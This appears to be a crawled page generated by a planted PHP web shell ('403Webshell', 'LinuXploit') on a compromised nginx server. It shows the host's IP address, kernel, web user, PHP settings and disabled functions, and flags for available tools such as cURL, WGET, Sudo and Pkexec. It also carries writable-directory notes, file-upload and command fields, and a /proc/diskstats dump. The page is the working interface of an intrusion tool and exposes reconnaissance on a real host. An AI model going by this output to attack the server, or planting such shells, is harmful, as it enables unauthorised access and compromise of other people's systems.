403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//diskstats
   7       0 loop0 54 0 694 42 0 0 0 0 0 72 4 0 0 0 0
   7       1 loop1 4515 0 11632 2929 0 0 0 0 0 888 744 0 0 0 0
   7       2 loop2 176 0 938 139 0 0 0 0 0 352 4 0 0 0 0
   7       3 loop3 2132 0 4850 731 0 0 0 0 0 444 0 0 0 0 0
   7       4 loop4 58190 0 120428 17478 0 0 0 0 0 6624 1648 0 0 0 0
   7       5 loop5 2385 0 6808 1077 0 0 0 0 0 608 196 0 0 0 0
   7       6 loop6 2503 0 7012 1692 0 0 0 0 0 468 676 0 0 0 0
   7       7 loop7 8977 0 19952 9159 0 0 0 0 0 1820 2032 0 0 0 0
  11       0 sr0 87 0 668 124 0 0 0 0 0 176 0 0 0 0 0
  11       1 sr1 108 0 8320 94 0 0 0 0 0 148 0 0 0 0 0
 252       0 vda 20402243 2060597 866453195 24564099 6177612 4564310 632261772 52255503 0 45768700 39925240 52816 0 78913672 193065
 252       1 vda1 20393391 2060597 866424384 24526069 6117312 4564310 632261772 52214722 0 45758464 39881972 52796 0 77920912 192979
 252      14 vda14 220 0 2008 152 0 0 0 0 0 260 0 0 0 0 0
 252      15 vda15 8482 0 19011 37705 0 0 0 0 0 552 20660 20 0 992760 86
   7       8 loop8 4038 0 10674 2749 0 0 0 0 0 900 328 0 0 0 0
   7       9 loop9 55 0 702 35 0 0 0 0 0 92 0 0 0 0 0
   7      10 loop10 846 0 4300 885 0 0 0 0 0 468 232 0 0 0 0
   7      11 loop11 1243563 0 2487718 1640212 0 0 0 0 0 151780 427468 0 0 0 0
   7      12 loop12 57101 0 116212 22820 0 0 0 0 0 6748 5464 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit